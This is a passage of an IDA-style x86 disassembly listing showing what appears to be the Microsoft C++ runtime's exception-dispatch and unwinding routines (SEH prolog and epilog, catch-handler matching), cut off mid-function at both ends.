test byte ptr [edi], 8
jz short loc_415E1B
loc_415E29: ; CODE XREF: sub_415DEB+37j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_415E38
test byte ptr [edi], 1
jz short loc_415E1B
loc_415E38: ; CODE XREF: sub_415DEB+46j
test al, 2
jz short loc_415E41
test byte ptr [edi], 2
jz short loc_415E1B
loc_415E41: ; CODE XREF: sub_415DEB+Bj
; sub_415DEB+13j ...
xor eax, eax
inc eax
loc_415E44: ; CODE XREF: sub_415DEB+32j
pop edi
pop esi
retn
sub_415DEB endp
; =============== S U B R O U T I N E =======================================
sub_415E47 proc near ; CODE XREF: sub_415E8B+85p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
mov eax, [eax]
cmp eax, 0E0434F4Dh
jz short loc_415E6E
cmp eax, 0E06D7363h
jnz short loc_415E88
call sub_411FFD
and dword ptr [eax+90h], 0
jmp sub_416A48
; ---------------------------------------------------------------------------
loc_415E6E: ; CODE XREF: sub_415E47+Dj
call sub_411FFD
cmp dword ptr [eax+90h], 0
jle short loc_415E88
call sub_411FFD
add eax, 90h
dec dword ptr [eax]
loc_415E88: ; CODE XREF: sub_415E47+14j
; sub_415E47+33j
xor eax, eax
retn
sub_415E47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E8B proc near ; CODE XREF: sub_4160EC+ECp
; sub_416498+36p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 10h
push offset dword_41FB58
call __SEH_prolog4
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
cmp dword ptr [edi+4], 80h
jg short loc_415EAC
movsx esi, byte ptr [ebx+8]
jmp short loc_415EAF
; ---------------------------------------------------------------------------
loc_415EAC: ; CODE XREF: sub_415E8B+19j
mov esi, [ebx+8]
loc_415EAF: ; CODE XREF: sub_415E8B+1Fj
mov [ebp+var_1C], esi
call sub_411FFD
add eax, 90h
inc dword ptr [eax]
and [ebp+ms_exc.disabled], 0
loc_415EC2: ; CODE XREF: sub_415E8B+9Fj
cmp esi, [ebp+arg_C]
jz short loc_415F2C
cmp esi, 0FFFFFFFFh
jle short loc_415ED1
cmp esi, [edi+4]
jl short loc_415ED6
loc_415ED1: ; CODE XREF: sub_415E8B+3Fj
call sub_416A94
loc_415ED6: ; CODE XREF: sub_415E8B+44j
mov eax, esi
shl eax, 3
mov ecx, [edi+8]
add ecx, eax
mov esi, [ecx]
mov [ebp+var_20], esi
mov [ebp+ms_exc.disabled], 1
cmp dword ptr [ecx+4], 0
jz short loc_415F07
mov [ebx+8], esi
push 103h
push ebx
mov ecx, [edi+8]
push dword ptr [ecx+eax+4]
call sub_416AE0
loc_415F07: ; CODE XREF: sub_415E8B+65j
and [ebp+ms_exc.disabled], 0
jmp short loc_415F27
; ---------------------------------------------------------------------------
loc_415F0D: ; DATA XREF: .vty:0041FB78o
push [ebp+ms_exc.exc_ptr]
call sub_415E47
pop ecx
retn
; ---------------------------------------------------------------------------
loc_415F17: ; DATA XREF: .vty:0041FB7Co
mov esp, [ebp+ms_exc.old_esp]
and [ebp+ms_exc.disabled], 0
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_20]
loc_415F27: ; CODE XREF: sub_415E8B+80j
mov [ebp+var_1C], esi
jmp short loc_415EC2
; ---------------------------------------------------------------------------
loc_415F2C: ; CODE XREF: sub_415E8B+3Aj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_415F51
cmp esi, [ebp+arg_C]
jz short loc_415F42
call sub_416A94
loc_415F42: ; CODE XREF: sub_415E8B+B0j
mov [ebx+8], esi
call __SEH_epilog4
retn
sub_415E8B endp
; =============== S U B R O U T I N E =======================================
sub_415F4B proc near ; DATA XREF: .vty:0041FB70o
mov ebx, [ebp+8]
mov esi, [ebp-1Ch]
sub_415F4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415F51 proc near ; CODE XREF: sub_415E8B+A8p
call sub_411FFD
cmp dword ptr [eax+90h], 0
jle short locret_415F6B
call sub_411FFD
add eax, 90h
dec dword ptr [eax]
locret_415F6B: ; CODE XREF: sub_415F51+Cj
retn
sub_415F51 endp
; =============== S U B R O U T I N E =======================================
sub_415F6C proc near ; CODE XREF: sub_4160EC+93p
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_415FAE
cmp dword ptr [eax+10h], 3
jnz short loc_415FAE
mov ecx, [eax+14h]
cmp ecx, 19930520h
jz short loc_415F97
cmp ecx, 19930521h
jz short loc_415F97
cmp ecx, 19930522h
jnz short loc_415FAE
loc_415F97: ; CODE XREF: sub_415F6C+19j
; sub_415F6C+21j
cmp dword ptr [eax+1Ch], 0
jnz short loc_415FAE
call sub_411FFD
xor ecx, ecx
inc ecx
mov [eax+20Ch], ecx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415FAE: ; CODE XREF: sub_415F6C+8j
; sub_415F6C+Ej ...
xor eax, eax
retn
sub_415F6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415FB1 proc near ; CODE XREF: sub_412800+112p
; sub_416212+6Ep ...
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset dword_41FB80
call __SEH_prolog4
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short loc_415FEE
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_415FEE
mov eax, [ecx+1Ch]
test eax, eax
jz short loc_415FEE
mov eax, [eax+4]
test eax, eax
jz short loc_415FEE
and [ebp+ms_exc.disabled], 0
push eax
push dword ptr [ecx+18h]
call sub_410836
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_415FEE: ; CODE XREF: sub_415FB1+11j
; sub_415FB1+19j ...
call __SEH_epilog4
retn
sub_415FB1 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_416A48
; =============== S U B R O U T I N E =======================================
sub_416005 proc near ; CODE XREF: sub_416288+86p
; sub_416288+113p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
mov eax, [ecx]
push esi
mov esi, [esp+4+arg_0]
add eax, esi
cmp dword ptr [ecx+4], 0
jl short loc_416028
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov esi, [edx+esi]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_416028: ; CODE XREF: sub_416005+11j
pop esi
retn
sub_416005 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41602A proc near ; CODE XREF: sub_4165F6+111p
; sub_4165F6+2AEp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
test edi, edi
jnz short loc_41603E
call sub_416A94
jmp sub_416A48
; ---------------------------------------------------------------------------
loc_41603E: ; CODE XREF: sub_41602A+8j
and [ebp+var_8], 0
cmp dword ptr [edi], 0
mov [ebp+var_1], 0
jle short loc_41609E
push ebx
push esi
loc_41604D: ; CODE XREF: sub_41602A+70j
mov eax, [ebp+arg_0]
mov eax, [eax+1Ch]
mov eax, [eax+0Ch]
mov ebx, [eax]
test ebx, ebx
lea esi, [eax+4]
jle short loc_416092
mov eax, [ebp+var_8]
shl eax, 4
mov [ebp+var_C], eax
loc_416068: ; CODE XREF: sub_41602A+60j
mov ecx, [ebp+arg_0]
push dword ptr [ecx+1Ch]
mov eax, [esi]
push eax
mov eax, [edi+4]
add eax, [ebp+var_C]
push eax
call sub_415DEB
add esp, 0Ch
test eax, eax
jnz short loc_41608E
dec ebx
add esi, 4
test ebx, ebx
jg short loc_416068
jmp short loc_416092
; ---------------------------------------------------------------------------
loc_41608E: ; CODE XREF: sub_41602A+58j
mov [ebp+var_1], 1
loc_416092: ; CODE XREF: sub_41602A+33j
; sub_41602A+62j
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [edi]
jl short loc_41604D
pop esi
pop ebx
loc_41609E: ; CODE XREF: sub_41602A+1Fj
mov al, [ebp+var_1]
leave
retn
sub_41602A endp
; =============== S U B R O U T I N E =======================================
sub_4160A3 proc near ; CODE XREF: sub_4165F6+30Ap
push 4
mov eax, offset loc_41AE86
call sub_410C0F
call sub_411FFD
cmp dword ptr [eax+94h], 0
jz short loc_4160C2
call sub_416A94
loc_4160C2: ; CODE XREF: sub_4160A3+18j
and dword ptr [ebp-4], 0
call sub_416A81
or dword ptr [ebp-4], 0FFFFFFFFh
jmp sub_416A48
sub_4160A3 endp
; =============== S U B R O U T I N E =======================================
sub_4160D4 proc near ; DATA XREF: .vty:0041FBA8o
call sub_411FFD
mov ecx, [ebp+8]
push 0
push 0
mov [eax+94h], ecx
call sub_4107BC
int 3 ; Trap to Debugger
sub_4160D4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4160EC proc near ; CODE XREF: sub_416498+57p
var_3C = byte ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
; FUNCTION CHUNK AT 00416207 SIZE 00000005 BYTES
push 2Ch
push offset dword_41FBF8
call __SEH_prolog4
mov ebx, ecx
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_0]
mov [ebp+var_1C], ebx
and [ebp+var_34], 0
mov eax, [edi-4]
mov [ebp+var_24], eax
push dword ptr [esi+18h]
lea eax, [ebp+var_3C]
push eax
call sub_410ADA
pop ecx
pop ecx
mov [ebp+var_28], eax
call sub_411FFD
mov eax, [eax+88h]
mov [ebp+var_2C], eax
call sub_411FFD
mov eax, [eax+8Ch]
mov [ebp+var_30], eax
call sub_411FFD
mov [eax+88h], esi
call sub_411FFD
mov ecx, [ebp+arg_8]
mov [eax+8Ch], ecx
and [ebp+ms_exc.disabled], 0
xor eax, eax
inc eax
mov [ebp+arg_8], eax
mov [ebp+ms_exc.disabled], eax
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+arg_C]
push edi
call sub_410B6F
add esp, 14h
mov [ebp+var_1C], eax
and [ebp+ms_exc.disabled], 0
jmp short loc_4161EB
; ---------------------------------------------------------------------------
loc_41617C: ; DATA XREF: .vty:0041FC18o
mov eax, [ebp+ms_exc.exc_ptr]
call sub_415F6C
retn
; ---------------------------------------------------------------------------
loc_416185: ; DATA XREF: .vty:0041FC1Co
mov esp, [ebp+ms_exc.old_esp]
call sub_411FFD
and dword ptr [eax+20Ch], 0
mov esi, [ebp+arg_C]
mov edi, [ebp+arg_4]
cmp dword ptr [esi+4], 80h
jg short loc_4161A9
movsx ecx, byte ptr [edi+8]
jmp short loc_4161AC
; ---------------------------------------------------------------------------
loc_4161A9: ; CODE XREF: sub_4160EC+B5j
mov ecx, [edi+8]
loc_4161AC: ; CODE XREF: sub_4160EC+BBj
mov ebx, [esi+10h]
and [ebp+var_20], 0
loc_4161B3: ; CODE XREF: sub_4160EC+11Ej
mov eax, [ebp+var_20]
cmp eax, [esi+0Ch]
jnb short loc_4161D3
imul eax, 14h
add eax, ebx
mov edx, [eax+4]
cmp ecx, edx
jle short loc_416207
cmp ecx, [eax+8]
jg short loc_416207
mov eax, [esi+8]
mov ecx, [eax+edx*8+8]
loc_4161D3: ; CODE XREF: sub_4160EC+CDj
push ecx
push esi
push 0
push edi
call sub_415E8B
add esp, 10h
and [ebp+var_1C], 0
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_0]
loc_4161EB: ; CODE XREF: sub_4160EC+8Ej
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov [ebp+arg_8], 0
call sub_416212
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_4160EC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4160EC
loc_416207: ; CODE XREF: sub_4160EC+D9j
; sub_4160EC+DEj
inc [ebp+var_20]
jmp short loc_4161B3
; END OF FUNCTION CHUNK FOR sub_4160EC
; =============== S U B R O U T I N E =======================================
sub_41620C proc near ; DATA XREF: .vty:0041FC10o
mov edi, [ebp+0Ch]
mov esi, [ebp+8]
sub_41620C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416212 proc near ; CODE XREF: sub_4160EC+10Dp
mov eax, [ebp-24h]
mov [edi-4], eax
push dword ptr [ebp-28h]
call sub_410B23
pop ecx
call sub_411FFD
mov ecx, [ebp-2Ch]
mov [eax+88h], ecx
call sub_411FFD
mov ecx, [ebp-30h]
mov [eax+8Ch], ecx
cmp dword ptr [esi], 0E06D7363h
jnz short locret_416287
cmp dword ptr [esi+10h], 3
jnz short locret_416287
mov eax, [esi+14h]
cmp eax, 19930520h
jz short loc_416263
cmp eax, 19930521h
jz short loc_416263
cmp eax, 19930522h
jnz short locret_416287
loc_416263: ; CODE XREF: sub_416212+41j
; sub_416212+48j
cmp dword ptr [ebp-34h], 0
jnz short locret_416287
cmp dword ptr [ebp-1Ch], 0
jz short locret_416287
push dword ptr [esi+18h]
call sub_410B02
pop ecx
test eax, eax
jz short locret_416287
push dword ptr [ebp+10h]
push esi
call sub_415FB1
pop ecx
pop ecx
locret_416287: ; CODE XREF: sub_416212+31j
; sub_416212+37j ...
retn
sub_416212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416288 proc near ; CODE XREF: sub_416407+36p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 0Ch
push offset dword_41FC20
call __SEH_prolog4
xor edx, edx
mov [ebp+var_1C], edx
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
cmp ecx, edx
jz loc_4163FF
cmp [ecx+8], dl
jz loc_4163FF
mov ecx, [eax+8]
cmp ecx, edx
jnz short loc_4162C3
test dword ptr [eax], 80000000h
jz loc_4163FF
loc_4162C3: ; CODE XREF: sub_416288+2Dj
mov eax, [eax]
mov esi, [ebp+arg_4]
test eax, eax
js short loc_4162D0
lea esi, [ecx+esi+0Ch]
loc_4162D0: ; CODE XREF: sub_416288+42j
mov [ebp+ms_exc.disabled], edx
xor ebx, ebx
inc ebx
push ebx
test al, 8
jz short loc_41631C
mov edi, [ebp+arg_0]
push dword ptr [edi+18h]
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz loc_4163E2
push ebx
push esi
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz loc_4163E2
mov eax, [edi+18h]
mov [esi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41630D: ; CODE XREF: sub_416288+E7j
push eax
call sub_416005
pop ecx
pop ecx
mov [esi], eax
jmp loc_4163E7
; ---------------------------------------------------------------------------
loc_41631C: ; CODE XREF: sub_416288+51j
mov edi, [ebp+arg_C]
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
test [edi], bl
jz short loc_416371
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz loc_4163E2
push ebx
push esi
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz loc_4163E2
push dword ptr [edi+14h]
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push esi
call sub_410C50
add esp, 0Ch
cmp dword ptr [edi+14h], 4
jnz loc_4163E7
mov eax, [esi]
test eax, eax
jz short loc_4163E7
add edi, 8
push edi
jmp short loc_41630D
; ---------------------------------------------------------------------------
loc_416371: ; CODE XREF: sub_416288+9Fj
cmp [edi+18h], edx
jnz short loc_4163AE
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz short loc_4163E2
push ebx
push esi
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz short loc_4163E2
push dword ptr [edi+14h]
add edi, 8
push edi
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
call sub_416005
pop ecx
pop ecx
push eax
push esi
call sub_410C50
add esp, 0Ch
jmp short loc_4163E7
; ---------------------------------------------------------------------------
loc_4163AE: ; CODE XREF: sub_416288+ECj
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz short loc_4163E2
push ebx
push esi
call sub_41A258
pop ecx
pop ecx
test eax, eax
jz short loc_4163E2
push dword ptr [edi+18h]
call sub_41A258
pop ecx
test eax, eax
jz short loc_4163E2
test byte ptr [edi], 4
push 0
pop eax
setnz al
inc eax
mov [ebp+var_1C], eax
jmp short loc_4163E7
; ---------------------------------------------------------------------------
loc_4163E2: ; CODE XREF: sub_416288+62j
; sub_416288+73j ...
call sub_416A94
loc_4163E7: ; CODE XREF: sub_416288+8Fj
; sub_416288+D7j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_1C]
jmp short loc_416401
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
jmp sub_416A48
; ---------------------------------------------------------------------------
loc_4163FF: ; CODE XREF: sub_416288+19j
; sub_416288+22j ...
xor eax, eax
loc_416401: ; CODE XREF: sub_416288+169j
call __SEH_epilog4
retn
sub_416288 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416407 proc near ; CODE XREF: sub_416498+11p
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 8
push offset dword_41FC40
call __SEH_prolog4
mov eax, [ebp+arg_8]
test dword ptr [eax], 80000000h
jz short loc_416423
mov ebx, [ebp+arg_4]
jmp short loc_41642D
; ---------------------------------------------------------------------------
loc_416423: ; CODE XREF: sub_416407+15j
mov ecx, [eax+8]
mov edx, [ebp+arg_4]
lea ebx, [ecx+edx+0Ch]
loc_41642D: ; CODE XREF: sub_416407+1Aj
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_C]
push esi
push eax
push [ebp+arg_4]
mov edi, [ebp+arg_0]
push edi
call sub_416288
add esp, 10h
dec eax
jz short loc_416467
dec eax
jnz short loc_41647F
push 1
lea eax, [esi+8]
push eax
push dword ptr [edi+18h]
call sub_416005
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push ebx
call sub_410836
jmp short loc_41647F
; ---------------------------------------------------------------------------
loc_416467: ; CODE XREF: sub_416407+3Fj
lea eax, [esi+8]
push eax
push dword ptr [edi+18h]
call sub_416005
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push ebx
call sub_410836
loc_41647F: ; CODE XREF: sub_416407+42j
; sub_416407+5Ej
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call __SEH_epilog4
retn
sub_416407 endp
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_416A48
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416498 proc near ; CODE XREF: sub_416504+D4p
; sub_4165F6+25Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
cmp [ebp+arg_10], 0
jz short loc_4164B1
push [ebp+arg_10]
push ebx
push esi
push [ebp+arg_0]
call sub_416407
add esp, 10h
loc_4164B1: ; CODE XREF: sub_416498+7j
cmp [ebp+arg_18], 0
push [ebp+arg_0]
jnz short loc_4164BD
push esi
jmp short loc_4164C0
; ---------------------------------------------------------------------------
loc_4164BD: ; CODE XREF: sub_416498+20j
push [ebp+arg_18]
loc_4164C0: ; CODE XREF: sub_416498+23j
call sub_41083D
push dword ptr [edi]
push [ebp+arg_C]
push [ebp+arg_8]
push esi
call sub_415E8B
mov eax, [edi+4]
push 100h
push [ebp+arg_14]
inc eax
push [ebp+arg_C]
mov [esi+8], eax
push [ebp+arg_4]
mov ecx, [ebx+0Ch]
push esi
push [ebp+arg_0]
call sub_4160EC
add esp, 28h
test eax, eax
jz short loc_416502
push esi
push eax
call sub_410806
loc_416502: ; CODE XREF: sub_416498+61j
pop ebp
retn
sub_416498 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416504 proc near ; CODE XREF: sub_4165F6+336p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi], 80000003h
jz loc_4165F3
push edi
call sub_411FFD
cmp dword ptr [eax+80h], 0
jz short loc_416567
call sub_411FFD
lea edi, [eax+80h]
call sub_411DB6
cmp [edi], eax
jz short loc_416567
cmp dword ptr [esi], 0E0434F4Dh
jz short loc_416567
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4108F5
add esp, 1Ch
test eax, eax
jnz loc_4165F2
loc_416567: ; CODE XREF: sub_416504+22j
; sub_416504+36j ...
mov edi, [ebp+arg_10]
cmp dword ptr [edi+0Ch], 0
jnz short loc_416575
call sub_416A94
loc_416575: ; CODE XREF: sub_416504+6Aj
mov esi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push esi
push [ebp+arg_18]
push edi
call sub_410A67
mov edi, eax
mov eax, [ebp+var_4]
add esp, 14h
cmp eax, [ebp+var_8]
jnb short loc_4165F2
push ebx
loc_416598: ; CODE XREF: sub_416504+EBj
cmp esi, [edi]
jl short loc_4165E3
cmp esi, [edi+4]
jg short loc_4165E3
mov eax, [edi+0Ch]
mov ecx, [edi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_4165B9
cmp byte ptr [ecx+8], 0
jnz short loc_4165E3
loc_4165B9: ; CODE XREF: sub_416504+ADj
lea ebx, [eax-10h]
test byte ptr [ebx], 40h
jnz short loc_4165E3
push [ebp+arg_1C]
mov esi, [ebp+arg_4]
push [ebp+arg_18]
push 0
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call sub_416498
mov esi, [ebp+arg_14]
add esp, 1Ch
loc_4165E3: ; CODE XREF: sub_416504+96j
; sub_416504+9Bj ...
inc [ebp+var_4]
mov eax, [ebp+var_4]
add edi, 14h
cmp eax, [ebp+var_8]
jb short loc_416598
pop ebx
loc_4165F2: ; CODE XREF: sub_416504+5Dj
; sub_416504+91j
pop edi
loc_4165F3: ; CODE XREF: sub_416504+Fj
pop esi
leave
retn
sub_416504 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165F6 proc near ; CODE XREF: sub_416964+D4p
var_2C = dword ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 2Ch
mov ecx, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_10]
mov eax, [ebx+4]
cmp eax, 80h
push esi
push edi
mov [ebp+var_1], 0
jg short loc_416619
movsx ecx, byte ptr [ecx+8]
jmp short loc_41661C
; ---------------------------------------------------------------------------
loc_416619: ; CODE XREF: sub_4165F6+1Bj
mov ecx, [ecx+8]
loc_41661C: ; CODE XREF: sub_4165F6+21j
cmp ecx, 0FFFFFFFFh
mov [ebp+var_8], ecx
jl short loc_416628
cmp ecx, eax
jl short loc_41662D
loc_416628: ; CODE XREF: sub_4165F6+2Cj
call sub_416A94
loc_41662D: ; CODE XREF: sub_4165F6+30j
mov esi, [ebp+arg_0]
mov edi, 0E06D7363h
cmp [esi], edi
jnz loc_416908
cmp dword ptr [esi+10h], 3
mov ebx, 19930520h
jnz loc_416775
mov eax, [esi+14h]
cmp eax, ebx
jz short loc_416665
cmp eax, 19930521h
jz short loc_416665
cmp eax, 19930522h
jnz loc_416775
loc_416665: ; CODE XREF: sub_4165F6+5Bj
; sub_4165F6+62j
cmp dword ptr [esi+1Ch], 0
jnz loc_416775
call sub_411FFD
cmp dword ptr [eax+88h], 0
jz loc_416947
call sub_411FFD
mov esi, [eax+88h]
mov [ebp+arg_0], esi
call sub_411FFD
mov eax, [eax+8Ch]
push 1
push esi
mov [ebp+arg_8], eax
call sub_41A258
test eax, eax
pop ecx
pop ecx
jnz short loc_4166B0
call sub_416A94
loc_4166B0: ; CODE XREF: sub_4165F6+B3j
cmp [esi], edi
jnz short loc_4166DA
cmp dword ptr [esi+10h], 3
jnz short loc_4166DA
mov eax, [esi+14h]
cmp eax, ebx
jz short loc_4166CF
cmp eax, 19930521h
jz short loc_4166CF
cmp eax, 19930522h
jnz short loc_4166DA
loc_4166CF: ; CODE XREF: sub_4165F6+C9j
; sub_4165F6+D0j
cmp dword ptr [esi+1Ch], 0
jnz short loc_4166DA
call sub_416A94
loc_4166DA: ; CODE XREF: sub_4165F6+BCj
; sub_4165F6+C2j ...
call sub_411FFD
cmp dword ptr [eax+94h], 0
jz loc_416775
call sub_411FFD
mov edi, [eax+94h]
call sub_411FFD
push [ebp+arg_0]
xor esi, esi
mov [eax+94h], esi
call sub_41602A
test al, al
pop ecx
jnz short loc_41676D
xor ebx, ebx
cmp [edi], ebx
jle short loc_416734
loc_416717: ; CODE XREF: sub_4165F6+13Cj
mov eax, [edi+4]
mov ecx, [ebx+eax+4]
push offset off_423C9C
call sub_40DE34
test al, al
jnz short loc_416739
inc esi
add ebx, 10h
cmp esi, [edi]
jl short loc_416717
loc_416734: ; CODE XREF: sub_4165F6+11Fj
; sub_4165F6+31Cj
jmp sub_416A48
; ---------------------------------------------------------------------------
loc_416739: ; CODE XREF: sub_4165F6+134j
push 1
push [ebp+arg_0]
call sub_415FB1
pop ecx
pop ecx
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_2C]
mov [ebp+arg_0], offset dword_41CE0C
call sub_40D873
push offset dword_41FC5C
lea eax, [ebp+var_2C]
push eax
mov [ebp+var_2C], offset off_41CE04
call sub_4107BC
loc_41676D: ; CODE XREF: sub_4165F6+119j
mov esi, [ebp+arg_0]
mov edi, 0E06D7363h
loc_416775: ; CODE XREF: sub_4165F6+50j
; sub_4165F6+69j ...
cmp [esi], edi
jnz loc_416905
cmp dword ptr [esi+10h], 3
jnz loc_416905
mov eax, [esi+14h]
cmp eax, ebx
jz short loc_4167A0
cmp eax, 19930521h
jz short loc_4167A0
cmp eax, 19930522h
jnz loc_416905
loc_4167A0: ; CODE XREF: sub_4165F6+196j
; sub_4165F6+19Dj
mov edi, [ebp+arg_10]
cmp dword ptr [edi+0Ch], 0
jbe loc_41686C
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_10]
push eax
push [ebp+var_8]
push [ebp+arg_18]
push edi
call sub_410A67
add esp, 14h
mov edi, eax
loc_4167C6: ; CODE XREF: sub_4165F6+26Ej
mov eax, [ebp+var_10]
cmp eax, [ebp+var_1C]
jnb loc_416869
mov eax, [ebp+var_8]
cmp [edi], eax
jg loc_41685E
cmp eax, [edi+4]
jg short loc_41685E
mov eax, [edi+10h]
mov [ebp+var_C], eax
mov eax, [edi+0Ch]
test eax, eax
mov [ebp+var_18], eax
jle short loc_41685E
loc_4167F2: ; CODE XREF: sub_4165F6+23Cj
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea ebx, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_14], eax
jle short loc_416827
loc_416804: ; CODE XREF: sub_4165F6+22Fj
push dword ptr [esi+1Ch]
mov eax, [ebx]
push eax
push [ebp+var_C]
mov [ebp+var_20], eax
call sub_415DEB
add esp, 0Ch
test eax, eax
jnz short loc_416836
dec [ebp+var_14]
add ebx, 4
cmp [ebp+var_14], eax
jg short loc_416804
loc_416827: ; CODE XREF: sub_4165F6+20Cj
dec [ebp+var_18]
add [ebp+var_C], 10h
cmp [ebp+var_18], 0
jg short loc_4167F2
jmp short loc_41685E
; ---------------------------------------------------------------------------
loc_416836: ; CODE XREF: sub_4165F6+224j
push [ebp+arg_1C]
mov ebx, [ebp+var_C]
push [ebp+arg_18]
mov [ebp+var_1], 1
push [ebp+var_20]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push esi
mov esi, [ebp+arg_4]
call sub_416498
mov esi, [ebp+arg_0]
add esp, 1Ch
loc_41685E: ; CODE XREF: sub_4165F6+1E1j
; sub_4165F6+1EAj ...
inc [ebp+var_10]
add edi, 14h
jmp loc_4167C6
; ---------------------------------------------------------------------------
loc_416869: ; CODE XREF: sub_4165F6+1D6j
mov edi, [ebp+arg_10]
